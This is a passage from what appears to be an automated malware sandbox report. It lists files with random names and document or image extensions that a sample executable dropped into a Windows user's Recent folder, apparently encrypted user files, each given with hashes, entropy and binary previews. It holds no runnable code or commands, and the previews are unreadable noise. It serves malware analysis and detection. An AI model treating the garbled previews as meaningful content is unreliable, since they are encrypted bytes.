Preview:	RAYHI..._&.]:zU7X.&........@AZ...~.;..Y.".ig......p..Y.......2.^.W.8...n.^1.i...W...."`.F'...l....j....$.M... .n>l..j....zY...K....J{..w......D......Cm.h..........v(.l7...........1.eX..k......L.:..)..y.#.~....V......]....U..P.&.L...(..d......mA) ..p..?G.R=n....../..d...q.@..#....Oo...O...AZ.D..0...&.@CQb..^..5...?^9O<.`...\|.[.f...fi^.!T5...g..J9.........2u?..I..Y.......(..e....XT..)Z....Z.Z.B.b.d..$.CL.D...... G.....V.....k..io..0.I$..Vb.L.....]z....F.`..z4./..n.yx.ed..$.....4.F..H\|....A4.....A.<^.1.g..Nv.Vq...Glx....pW'....<.[...M..&x.....D....C.M.O....I`....a..M. ..R....6yo.K..F.TM.C.2.8...tD.y....>.ENV...xJ+"W......X.P.A.,..3.;z..(..Y..C...1$.).~.'9...#k.....'l}]..J.N.R(...o....;..m.L..&m...".!.. ......sq#..T.....Nu..9..J$.C.-...(05..d..>(#........+}@...<w.a...8.R1..^`..Iyy"..(.....p[f.W...........KO.,..x.......n..`N.O1M..E....Z.IN.\|=`.+...M.95K.......,DG.....\|.OH.C\....g....c..OH...K..n..2...i...oe.Srr:z^q..r..5.tn..+... .

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842364134613531
Encrypted:	false
SSDEEP:	24:d+dVcaRy0jevOtpENe3FY1VpZwHWB2vmObD:YV40SW2Ne3+/wHWB2vJD
MD5:	76D66BCB77BA085C4D8736D90D1CAEC2
SHA1:	89A2963BB05222C2CE7FDD61E83B818EDE580447
SHA-256:	69AF7EE5D7A9962E2A057108518DBBCD3E3099B1760030B1202D4BACEBBBE2A2
SHA-512:	AD43B6FA9EF525AFB5668BF487DE4FF66BFA636CA781D12BDA9D21233A089A619B4656956A7CA2A92EE292EC87FAB46CB103FA8414AB8456093609D8F803CE18
Malicious:	false
Preview:	RAYHI.\.m.{.^..{..jwq.O?~...A.....J.....`.d.I.9w.<......B....`...w...+E9sp.v.{iz.....)......X....WD.k..Ww..Q+...^q:.....Rp`.s@&.......X..0nP....r......Y......W......../."}.....=.c..,.@.q.C.`.gw...3.?...L;..kY....g....S...%..s.ch?.Cwr..'`......R..L.f..o'3..$.<.#Nz..."d~o..l..hhg.o.#....)....3`......4...0.I....:fVVy.PZa....>....R...[.C@.#=..di..]&..R...KlQ]....z.{..Z.#.S...'6"BF.6.K..M>....@..T=.#I.,v.bNX...+hN...dQIG..D.. "m..}C.Z\|.&.<z..j...x...Z,.Vo..[.[`..NA...v....<...o&4...x..s........u..CMd.e.....d'..':...E....]w..Z_#..d.R..cR%...v[....;nxj9......!*.........-.~...u...}..5.).+.a..{.^<.1....../.z<V....-n...e..H.3.7=!._....6H.JI..v..`=......R.....Du..]..U.>"Q.K..k.W(....P...r.+.i.s...6).i-9.xG(..M.=.^...C.g.P..d..".d..&=...<I..$.qO.y..A..S..+/5."y..b2.NH.b.._^.i..5..+.S&.s.P....g.l..>.r.Z.{.._../..Kq.....A...7.\|s.__S.....R..wG.._I#..t.h..[)hn\|.'..?..x.\..Y..`......J..CO..:ic......n......c=..2.;.J...=.."..@..JD.m.....D4T.t....gQ.6%.3..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847082135960126
Encrypted:	false
SSDEEP:	24:+FKA90MT0reL/doh8NScXCPnVew0N6SIFF+UTVPiSIvkpNO5FxuWxO04Gc2snQnI:eKlS0raahmXCdewhvTVNIvYNObykFID
MD5:	A95807F135327379E54A9C4941AB5178
SHA1:	7278D1B313D449F661EC2EF8299E9C1E79218D60
SHA-256:	C397DC6574F19E0086709ACCAF6AF05E1CB1B2340677C33DA2951BF08F1854AA
SHA-512:	2B6A8336652A644F199ECF79639DFD3FF532F067E600304994FAB70A9BD289DBCFD98DCC1ABB910C8FAA0B3D6C9A18197E404BEE95082939C72E3377603015E4
Malicious:	false
Preview:	SFPUS..WX.Ne.Fi...).;.MZt..kc.G. 2..tZP...\.... ..........I`[......%.v...C@......-r...G..c6.g.n:....#/p.[.<...m......X.Cj"/....q.^h...Qd.!v.[.K..~%....Y..=p......^..3.7.ff"..=..D(.....+..8..T.ZY.ips.. .....46Z0..+.h.$..C.&na)...g...x.v.~.(.m..'".kv..GCd...5$Q. .T... ....7...i.8Eslu....y....5C.HJ....}.m1.N...q....q...jyx#.F;:.S..=.B...vL<-.D%p...BU.*E..S.cO..[.pv.)8a....).e..@...kc6.m"j..j.}(..5r`.:F......Y......#...?.\|..0.\|.Bv..s...yP.aw.H.p..H....<.[.....$.n..b.X..P..c,...o6e..#\eIf..._A.......g.}..f.g.C.Y.t.M.e..........Y_..+..<..1./.m......?...ST.r..T?../z!..f.9...c.}nz.t. ..;..eX?..7\....a.>...Jb...$.<F.D>vm.cDz..$..).Q.......>......4....:s#[....z.w.]b..Wo...Y.CO..`..za.....;...L.@.uQ.....o...!..j..wQ............F.Q...8).....(.c.r.+...-5.V.Mg......q.N..!.....5........]Q#J..[...i.5]...G..K.h.....$0......)Ws.l...3.......u<..a.p.]..].`.-..n........$.^....W.~......t&.......Xz.KY./.#...{9....fy.F9Z..>.M...B^..\+..K....=..3q...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.pdf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845704954715257
Encrypted:	false
SSDEEP:	24:7ilzXjYmq7bfAdxE+0CUhtZAhbKebu9IKt+kZgfCBmv9jizBqXpMYjcOH+1H/3g5:mNz6ojc/zZGNGKK+ilODcOH+1fCD
MD5:	6131B4B6024EAAF22D8EE63B1B0D14B9
SHA1:	A94EFE7B394738B2B58A0729205095745F8575B9
SHA-256:	64B91E047D887223060D9227C65128DE824E93916DD82B82432AC4D13EAEBBC4
SHA-512:	1B06C229B72BC46426AF50D6A28B66B6C770CD98B9CBD69FC1FBA25311381B20A243E8100CBB1534C4CAF6CD4A3F612C82864F92A9DC9C0E2609989D96CED9EE
Malicious:	false
Preview:	SFPUS;...... ...k.]....&.+Y_{.Xw^....'k...HI..H%.....^..u....c.L........?.Wh9$(A.a..q....9_...9..)L.'.y.Z..c.$aY.=...^.Q.(.W..QB'S6..d..Vy\k"..%.\|S.9$w.....d........s.mZR.v....9k..l..0.b.Z=...Y..........v..5...(..c..#..[..?....%b...........^._.y......g..[. ....../.....K6,.E8..t...8....k5.%..~.....;.7......+..F^4d..hx.g.5v....HW......?.....i.dq;7(7..........i......6..gL.g....h.i...XOv.<E.Fo.o.W...$`.y...}.\......]...k..msN~8.5.A.m^.L=..G.y.~H6ma)O.Y\|..EJ1....0.Y..~.Jr.w.`L....;f_E+...Dv2...^.QY.h..u..d3..!q..Gz..p#...f...X).>:.-.O{s.J....T....Ks....].Y.rUa.#r.y?...{..Jw.`.C..=...@p.C.Ok.3d.:?\E..7Q..A4.T.5........z.f.....;.sr......P.....7A....l.6...x6.."o...vy......j....u......&.h...="q.....c.a...H).&...1.k..=..._....x.=.T....r3.....<.W.M.]" ......7...2..dB..z_.!.(....-.<P...}8.g..<...X..U..^....xMS.\|.#.......D......oAf'..w..~.C}.r.<.dAh.@#k.....5.b..a.\$*.......m-8.zul(./K..]pU...nU.......y....RP..Y.z1#Ck-....!..^T".....{n.&".._.?

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAVTZKNFL.jpg

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860574957513266
Encrypted:	false
SSDEEP:	24:ZK9GNcohWldfORhtgFQXZ45HSVGRQIIDniNZx2/xRVSCppycpmObD:07R/fW/TVGCTivx64mIcnD
MD5:	6B35A2917FD4ADEF155A7C83EB736E8C
SHA1:	66BFDB2CEDF4E709D3A9E9D040CD76459B88A9E1
SHA-256:	9CCA9BBE2D875FD36EEBB0EB3F4E6CE5EC66CCCD7A95CF74EAA2E170D6BC31FD
SHA-512:	DBC94A463E66EA8BC9ED96A181EA7A0AC780A11F87FE0F7AF62E3520668483C49C5C5CDB06DDF5EAE5733A3AC81540CDAEDB5D93677C1E01D7B00D0856A8599C
Malicious:	false
Preview:	SUAVT.....81._.7.HL.. .\.....8.&.~....rZ..u.+.T.5.R}.qi....,4.H...=............H..N..Y.-...0/.7...Q.".=A.7..5."......&#.h..i.....;F.LE.s..-..l.....GC.k....B......]#.B...n2...e.z=r.}.R.(...1T.J..2;<..!...R....v._.C..~..@\.........<.4Q.-..$W.$..n..b.S.....9..OTb.....'..5;..]..........Zb.0m.....6...=/O4...>..?.\|&...s.D..>Zi_.%y?..W.gC.xA.^y.........M_.../2.q.r6.h2....q...l.:...@~t)g.....G.2mU%`...d.f......n?.....QW.W.Ff..;.cw..u.V..L#.('.-.../..}<e.. .G/f{..r ..(...VW...S\.#.n.\..UG..q...B...6..)..c.c.].m.$M......xa....m.z....."_1y.<.w.O..vY./.(.L....ZLU:\c.5:o.c.#.i.q.d.T.i~.P.-........U...[..L8..Cy.d..-.....a.WC.0......P......f./h........<#..Q.0.{fj..h..MQ.5.s.;.v.D.r8...9lx...K..j#tY....Q......U..,Y..f.Q...h..d......y..j.s.#.B.]..Yc.Nn..A-X.-.^..U....f..A...H......Gcp....d.@.....\|..Cw..<.....e..&.RK....\tKGS..?ymK.cXLI...z....._G4..S.....Ou.#...q(..e......k...O+.q..w.R./ESg4-..Q..F...G!iFQ..V.r...X8.*..u.{s.X.\|...`t..$....j

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAVTZKNFL.xlsx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846493362050987
Encrypted:	false
SSDEEP:	24:A04P/CcYoBKsdrGMRhHTJdpc72C6XcndV0ZmOag1D5FnUN0ZTAjFxpupANObD:A0ncYedrGMRle2EdSvznUGZT3ppD
MD5:	9B7E6FA13E5483088231386EAD32B5C9
SHA1:	774AA99D35CB446AF9E892010AB9A57055F5DFC1
SHA-256:	61A476AB2BF2992D9FB7DA3DD0A4131D79C5F42F2DD5417F0342F34402329DD2
SHA-512:	9AEF99B97B3C22CB02CE50D0267C1175688908B27369F45FC63989F6592365C233BD257619BDE5D4325008D635D810436997903392174251B158477AB2215AD3
Malicious:	false
Preview:	SUAVT.P.T...-89....P?..h.........x"...G...J.'.0.....B..e.k....h...u..M.V.9.....1``.........8...=..t1.....t.a.Y........QQ..GY...A#.....K--Ha......e.(e..l.:....p...a..9.T.4...V....V...2n~..~s_R.}.~b..2.97..I..Q.Q]L}.f./>{.O\|.G.+.z..}....5.O^..u....O.hD.J/(s.]....../P.#.V7{.z...f?B.8.v.'Yj.4@..Q:......0...T......&O.....".......i......?^........O....%...N...yj....R.....q.6y"J9p.k.j....:.~.(.Z.%Z..3..5'.............:w.G...>...\....x1...G&..R...F.@.G..yy/.Z6.(...2n:Y.Qn.#%.$L.P.5j...p.......T...5.$.B...........70\|G%...n.....v.W..3t..s..n.pkyF..[,....+....0{D.yQxn..........u+...BHj.g.....z...!...#......9..:..~.U..........1..........Z..p...V.&.J..f.....\.Y.....5..kiS.......AL...<(e....x.Mh.x..y..=...(....+mb.[..2......)....,..qx.S....._.s.'f..\q;..+'2X.1.=......6.....g..'8`....+PF..W !....o..1B...f.fbH0n'......."..b.../#~..S.3.VX..5K..-..7.i!\|.....T..R.;.....?\|7]\y.'7>D.f...nK......7oY.s....[.....i b..n........~....KCk..K.[.. A...f ...../8S;.d.D#.,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UBVUNTSCZJ.pdf

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	HIT archive data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830362607667994
Encrypted:	false
SSDEEP:	24:5eab9gsbAjjACntjbukgNntXQJ4Tt1Zot3JWB6VK0GFE/XJsdEbsObD:j5VbAjjFtAntgJ4nZopJWB6VpGy9TD
MD5:	ADE6BFCCF021302417F82800C83FE905
SHA1:	72F54DEF6F8469DA19A92079A35FA3D6B2C6F690
SHA-256:	02734B10BC11FB6B823923F9858942E0EC49D22CF5DFDF78815F998D5984A530
SHA-512:	EEEEDE96BB64EB2BC5B6691E95F6B2E945D9D6E22E7DA79EFE5E45ADF7172E4403870894A9E09EFD4A7A6167D2A8508F1E27287DA1B623A4D6EBF308A3F238E0
Malicious:	false
Preview:	UBVUN]f..`....H.N+...C..mTN...x..:u.I..c[...n..oH.'Z..."b...W6.=......%%....5d\..8%...~.fa./..NB..8...H..r[8{9..kY.#.Q...... .9..V...:.n.tZ..P+...X./.`W.'glBl..LN.Ne.......[P.._............@U..D.h.x..~.<.+...S...........}e.....nsOZ1.@5.....C.u...kj......}.d..\|Y.....fxl6.[....~._...0D:..Zm.-.w]....~.X......xe.Ug..PNL....4...W.....[._V..-!{.+}k.288z.Iw...........F}o.S....-g.l....6m.....(..c!ss..r._0.,.'.N.t...Ir.x.......L.n.....M...8b...J....5c....#.,.y7."..J_)G..g.7...KA9.....-1.8A.q.8t.Ku.JGJ..#1.)2.}B.g..2..B.....\...8X.nwV.R......50*T.1@.x..e.Nc.A.q.\..........z....#S.......l.AN..H.'IXz...;.....~8......e4.c.%1.....5.....k..s":)y.c..D.K.U.Fm.n..T.......U...;F.7.vV^t.U.3.[.3RT."X.{..."..4..B...a...........l.kYSa...X.M........_..<...a.N...6.y/Ii.^v.I..._.>:^Rp.5H..0...".........ls.F...S .8.!.D.S.V..z..gd{~....+O.-V.N\'?P......x0..@ez...3.....J:(;u._.........!.~co.....S3..'......W...\|....e..S&.....Dv+......Y.P.....;..-.#."..C.._~

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873105864153122
Encrypted:	false
SSDEEP:	24:3aJzK9wa2gcX/bZXRm28rkfHmPC1IP7Cg2ADfpGTrZFEfP3ZuObD:BSa2F/HZ7GND2ZqHLD
MD5:	44A20D766CB57A95166ACAE2F6CA81CA
SHA1:	4AEA05201175D0819C1F321B2C3DC021DB3313DE
SHA-256:	02FA3D11D3CAB81AD7020625DDC7C1EFB43BB6E4D1F89CC3CCF82271181F43FE
SHA-512:	4D975DF8951B307E1564EF69F09D8B092B9A451D3DA250D9317194D469F7A36A2F199CC807F8129B34BB33D71AD21B1CF60BAB7DDB9D6675A0B1F3C5B26CAC61
Malicious:	false
Preview:	UMMBD@y.a.?k..2.....~._.......p.......@l..=>h.o..J]..7.!...."+y.c..V.\.....^........P.O..{y.}.l].bh6.....'.N..8r.)..c;..L_[...J..g.F.0.w..qpX..se...u)@...X..S....0...@.&Q.<.....H_,.`...9O....i\~....zC&......E'A.s]...<..(~....bu..q_..`....<~`.....F.TJ.`.0._..0......F.;.}(......s.K.k.n...h.....M!$..!cO..S....N.wY.#I..%y..../"..a..R..[N>..t.zY.M.Gs.S.2W..e..G2.....v... .7$..L...........$...,....3.b....SnW..B8FMg.E%0/$d.......o..=..... k6...b....3..-.d.{7..........s.\|I.....r...Cil....CEP..9...l.. .S.9.......yN.U...R.)?.7c.-.T....h....K.M?..W..Ea<K.....*...P.....t.,d.d\|.d.~).=Z^ .j@....Lz....x.JIB.....ox... NIOb...w.X"T...8...<..\|.u.....4. _.\.8..(...a...%.Di!.........m6...... .....<1.'.@...P...s.A...b..}=2...<Xk...[m%......2..._.}..Y)........OW..V3.cj/~Xe...4.=.x.......j.P.B......'.vi....q.`..b`.. ......XQ.....}v...q.n`2aI...p..G..........[....>jSyc..K..O.E.....y.r...o..".&=).,.K...g.Vw...X.f..bTc...-....w6..K....(.%.;L.B.t..^....Q..Xm.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870321932921523
Encrypted:	false
SSDEEP:	24:LqcO2+rxoO2xpxhSo74wXPYk4sCEvKTPSKgxn6UyL6IDeRObD:LLixoOkEoXXgVgKvgxn6UyPD/D
MD5:	5218EA3948C472223E336B00D705A705
SHA1:	C41D6127C5F9DE5286270F12238ACCFB7B427259
SHA-256:	6AE46765C3C3DF5CA34AF3A6D868E09BDE1217FB99C08070FC9A07ADAEEFDB48
SHA-512:	7D5FBE3928DF1CEC920EF5112F4080AC07DCBDFCE53CDD78537E9775D32269D9557AF84C25B6D7B9C0E3D86E007446F5D37E24CF93CFB47E99648A140F3DE9FD
Malicious:	false
Preview:	VLZDG.$.N.5R.cl..rq...."!(.....G,...G.GBA...Z..y-(.-....LW.O.`.Y.'.N..\.)QO.`.;......N.B.......YZ2........-..b.9&.^.qK..k.V....\..`$o..G.+.[{.....o+??U...7.}.......1./`....~...d.M.{s.\|6...b.e........;.bj$..0,E..h.U.......>....&dE.0.Z./..nr4M.\|....:....H...!.oR;\|.>f..!.)O.I+... ./R<c...{..2.o...t\.u....-.<..(....p..".iX...O...k......@..mK.r6@.5..G...P.~.8.q.?..~....i...-....d.Z..>......[.X\|..a.}W..b....0&(..o...xHCH.......}.)..:.t...t;...j...#S/.<........r...N,..&...?.m....I....I0..K.......[.e../<.ff~.F.J..l.6.F>>..[..,.....H.B.C8x..gLLf...qO..@.Nl_....j..'...w%_~.x...5ER.g..;A......n.^..>F.....1...[....."...tO.....j..U..c.O=.YF...k.............O..<.....Eb...@A.....?.... z....(..s.=.f."..?...V.W..t..].Y.>.........)...........p.......V.m..c?..'k..I....s.....?.^......=a.5._....Eh?....YuJ.q.p.;.K..LB.A.w.JkI...,...K..W...\?g@.8e..f.#O..sj..$7..D....N0......f..aS..G..~l\|w.-bV.O%sQ.[./..........$7Z.a.......}m4F.mH.....w...]......A.O.o

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842369326142388
Encrypted:	false
SSDEEP:	24:HQl8jDMmWukNOzwbWSMksJhooDqv/8I7Jr0zDyBs6WJ8uDahNg2/75kp9rObD:w4omWBLbnNsGv/8Itr1gJduOKFkTAD
MD5:	635D29FDEC49357ABA2D3C73AF0BCBB1
SHA1:	EEA322011B28EA30BE8AD2DD7D88583475780F87
SHA-256:	0BF3AA2F6E24E490B628AACBE8F9811BCCF65D452ECEEB3E2E20BE2F845F52D2
SHA-512:	7F62EB22374AA63EDE5BE108D82D69B207CB34D4EA080DB4377BF07D4F87E76C45A7DC01C3FE8736139EE0E4AB4126F0D6B3560A66C94578D7DA3519C01F04A7
Malicious:	false
Preview:	VLZDGp.$.+{.Q[0........#...a..5.`.Z.2"...&....U76.X.X<C.Z....../....@..L........b..sy...j.{....2...eS..9/I`...p...0.....e.....~.....v.[....H...0.>WnH......"....a.9........E..zbJ....a7^ N..n..Y}s..O....%.....E......F.:.YI..0r...~..E..~..E3.YK..T`o.L.-}c@j.....H.....L....@....rX........4..YF.P...4..f.D.N..y..L..@..4...k.. .m...`.Q{..F$...h.O...K.>N...0..[..\|rja...?ht5..+...-...6. 7..M..W5..,.qI\O...b&RPx..H..l.@;..5j.-.d..4>.F.....+.7...... Z.....q"..n.....7.F.)h......V....9.I..a.S_A...@?....C....`}..d....c..j.X.....@..~v.v.l.....z...JJ..jNT.=f..'$.......i$.8...X0..w......P...:.>.z9..B..r.......~...f=BF..,]...`.9..l F%..q.....0......=...._.r.i...!.L.M.,.T....Z..D.U..9.j..Y).}=..#.'z4..KV.O..(....@6.o..!.>*...../.....=0.B..}uWg..#d.Nf.....7+.0..f.,M^.w1...$...3..^.A.....A...X....z.Y.p....9f...}.Mk.!.;6......4h..... +L;.t..t.#1 e.....>jkr.F..r.{.:.h.e4].zka.d.q .@_.%.\|...E....Ja;k^.....c^.x>=.....V.>... .4.=.;IU.;....1@.".....0i.\[b

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844525316789598
Encrypted:	false
SSDEEP:	24:Jske1PEWewP8WY2w35p2f3sz1pCmGcOHHRqrSMWeuQ4L7UJDTObD:JUPE4EWY2A2f3sz1pCm+AWTQ4LwmD
MD5:	697471DB3DD32FB58DEE8F5EF3B50CD3
SHA1:	B95D8BF618889867B9D6131D887059EDCC34B996
SHA-256:	E7F81DDF48B52451C9717C0620DEC517DA6FD6359B53596A711C94E46AB7A906
SHA-512:	8BDAE6ED1935DC33FF7E9E6F83C6D2F88E9E9A0B1C6772FD8D3916198E7AB65FD5812D19F9D1710282113C233D10489BAA9C8FC5570832DBD992AD54BA929B43
Malicious:	false
Preview:	XZXHA.......O...$.k.r..'u.u~....}BQ.\l..z.8rV..wd...~..R...8...r....<.e..yz.n..}.j...n...7UA.0...J..i...cu..-.v....L.......P........H..T..!m..!J.r..._g....Gt.}e..<...?&y..<.?X5".O...=W-..g.hy:...wX.\|B..q.^$..}..-.Q....e.......q{l.e.M..rO..#@..C..f4...v.......J;Q.z...kk..8..B..Ep.OV..E}..Kx...t..;G.2....}X.T2.A...6.....j.......M..p.05mTOFy..Zc.y.mEe..>3..ul... .....Q...WN..0.n2....:._E=%7...z'.j._t=..r.U0....=Y...F.c=;....%..8D.9I...pG...X....EB.t.Ww..............:..w.j....C.C:b.o.lj.......a...w...^}......A...D..Y"Gd..D..tn.........9...E1...wj.3..nf..3.".......h#n.{.k.Ck.MlN..E.........h.5.\.`..N>.../....8.Fom......?...z}......E.f=.....$.v.B+..9v.7.n.....c3.Iz... .@...vM..np......Q.b..~.cB..tw......".4nC...d..I..C...$.hE..P'.S.,..X..f..{V........m..4...]{.5.Dq.v.>].s..<.o..V...9...._..bY....L.'.9O'G.K....p....$F.v.].n.x..H...DP....I.5V=..b.g........Z.....w.N..;....a..aL.....?:..[5Y.S9..M...P..!.=..SR!y}.O..7qB....}:.5.g.3`

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844445031174202
Encrypted:	false
SSDEEP:	24:rvZ8zuyrmrMVjimjM8/kOG55srp1RQAiz03+H2WX1IvYWFgC1g4wbObD:rWzm1mjM8/k7sl1R41lIgmWwD
MD5:	22F4D67309278430412E1339E8DE57AA
SHA1:	5DEE61E7E9224BB6B3D87A77E240A78196CF2A82
SHA-256:	A989D53BA13CC9805DD4798B869BBC7A249C55EA38F2AD004F51EC2443EE291C
SHA-512:	4AABEF82BE9F7938D0A995F7BE1DB76C82F735982506DEBBFD672FC985FF4B248F3BD8500C86EEC93843CE6035A77C86EB12C4FC75F79824D39D8568C16778D2
Malicious:	false
Preview:	XZXHA..II..R.........K..14...amG.. .AT...X..?mpll.KCB..u.9.9...W.....~'.d.`...K7F.A........P....d...1..........`k.).~.9..C..P....3'RH...y7f........0.5...a..6..9.!.V....8.....$R..A.V......A..>a0.7&t+.X.......4..QC....#....\|.....=#TX.05......m.P....V,..E.5p:..<sm...4.w_.=...R.$ ;..p"V.4...$....iJ&.../......%....^..G....[.2.Dd]>..C....b..o.5f......t....y!.,3.Wh=$..n%.&.M.w.;O.)on.2.dz.t.....C...#..~...5.....0I.]......C.. ......t.,...T..c./..OW.5(".......U.F.d..>.1.LUU.d.8........I1>....P..6.%d2...6.Y...#....`. ._Nc=q."......t.(.r:$....964n...?...SO.}\|.i..T...N)={.l...3J6..z%..K;t&a..I?..H..X.?l..D7$]o....Y....mg.P...?Mv..Nk..=.......$...V...[....7.[4I9..Q9.Y...8......"%.z...r.\|.J.......'....A.$...A..)L .$...k.....!..YW.q..L...V!...#....a.i.G.....$;.j..[U,n.:......9.A(<..'..;.P^.n......Hk....d.4EE.....HJ..E!......M.FC....u...e^.v.K..h..5[...B\|.....:..R..KM:...U.W-.q<Rf.~C.!.....B..{.km.b...o&.f..Y..Y...b.......2./5\JS...[7..&.m..r.l...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857908823698629
Encrypted:	false
SSDEEP:	24:mxoyM1XhFHkkfrdQCg+Qx5+IKK8FW5k6zkOQktEJLpKOObD:mxihhrpELWvW5k6lQMWERD
MD5:	1B7438B27F383717D91DE4CB1D078884
SHA1:	A6BD524102EB4ABFA2D788F725749A92A2FEB272
SHA-256:	DB88DFBB1BCCD3C14D2AB425B3D3931836CDE9D728F784D452D7803BFD094B47
SHA-512:	F28517349619B1E1F061A9D0DBA85C6C8E01EABF2376FE18DA4FA01064879CD4B54FD374A6683CCCD5054E6324C36CFB22A263923360E123AF52F843255BC188
Malicious:	false
Preview:	YPSIA.!...o.c:.-.^k.v..m.s...H..v.Q..C..T......HR=...F..".....V?.....5...T..hV/}...A..Y...L...........U2.@..[...o..A.{.Lj..s.WL!T.v.-U.4.).%.u..l..\|.. ?....u......H%.}...3...K.`..)6.bvZ.2`3U.L...].......]J...&M{0l..B@...<.S..aGf..f...-.4U...@dA...M(<...b.d.Q.O?.(.0..Kb.H..J_0.....O...A.......h../E.a...re..a{.....Qp.5....\|..~.....hS..^....P....1j..d.`S.<~...a[....j.._..G.J./..:.98L2H$........K.X.:..?$.L.G...w..X..\.@..c...8t8.....g./....n.......e.:..0.l<..I..or.......8S.]yQ>d.9.....bO...3.A..X.....{.....X?..cY..}...5. .."..V:......J,.D.<L2yF.5?..9..A(...F....z.:.$&...V....o...]_<..?..Mv;...NWL...j982#.y.l...r.....u..B.g.0..-%.g..RI.&.m:9.A~6r..).Y).....`....z....=Sy..].\..E...S.......d?0T.{.+...u3.I.......R.<b.m.WO>.P.Nb..q..!..X ......e..C._.i.C.;.c..l..9N.U.a_......e..Q.H...L.......e.UE...o.-Y......{k.Y`.#W........v.\..78._...U....I[....B......hV..@]....Nn..BvF...?*.8.B3,...(.......w^>;.L.7h...R..,..\|..%:.h..<..=..'.b.8

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829269082707881
Encrypted:	false
SSDEEP:	24:JwT1HDQlLYaHFq1cFS5gq2J46gC5h9kUV8ioB0BP0AhObD:dLYalq1cFS+P/5h91o+v2D
MD5:	09C1AE2A095C580BEC86FD8E7FC3E14F
SHA1:	B6B6C03A4F1CBA1917AAE64DEA0F2ABB2301BE21
SHA-256:	22694B69A7B168A34A93361F9E8316329263AA4289BEAE85CE497DB49DE8A6B6
SHA-512:	EE0A30BEA1664A2B0B1ED7B4B55ECD6172D21A1295A82B8A9CC50A9159C52F94AA9E23FA173808939B7C430DE1ED14E78B2CE13A6A5DC27375A268288E024F42
Malicious:	false
Preview:	YPSIAB.#.9.qR..=..L.4&kB..V.t".p...O.V._s...2X.O.EW].K....'^.k..t..D..d.P....LsU`...).U.m....$...b...w....&...^..GU..`....?.....4>1.......".......[1._....c<..88R..?`."...9.1..n..$%..U..N-.6.........]/.W.7Q...U.....`..Xk..N..D....J...........%..$h..W.Z..........u..,qVU..U!.q..,.G.%\|...IER.{.Y4..0qM......%x.....h.....5.O.....0$.^r....+..a.....#<.;^.a..]..$dy....U:?.......^2.6.HT..S..0..R..9.t...t<....E.lB.K.{..x....Q.s..V.a..h.7_Y7...C..kJll&i.`.].....\..a0.+....;r.=/.Xu.Y..d.@..e..w...r....>:.T2..Y..B......k.....;G.C...;.&.:=..^.....jv.Q.`..4..............<...C.>..f.....t=..;.w..."W..t.S.'a..W....Q.{.1.....a.w..P.}...hlDm..iRAY).B.p...}.."..\|..]..T.'....d.......*..#:.{K...!..P-..?.5...n...t\.C..w.......pX....xoR.......%..x\|..[../.".v...`GC.(.....vpxcy.......j.X:..bcI...}W:...a."A....,_......BE.~hD# g..uv1..\|.c....j.7......J.. I..> .].t..!..q...6.W.3,..\...Y...h~.F.h.;7C.......A.6./........^8.wM.i.....pD...`W.....M7..WF...:.;@F.^@..x.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829177320840859
Encrypted:	false
SSDEEP:	24:G9aT8+Ab7nSzDrFjhTKkNWWJs/CymB+OOdTpaQGn6EgYaObD:BTPi7S/rFIGWWeKNsaQVET9D
MD5:	9CC3AFF57AFAF3086BDCA9CB30EC1C4B
SHA1:	8BB909E1234DB335D51C8DBD0553CD165946B0A3
SHA-256:	C20EF8ED76123E49BA9A63279C0F1FF736E804BCE2340F82A05BE6F3E2B8A87D
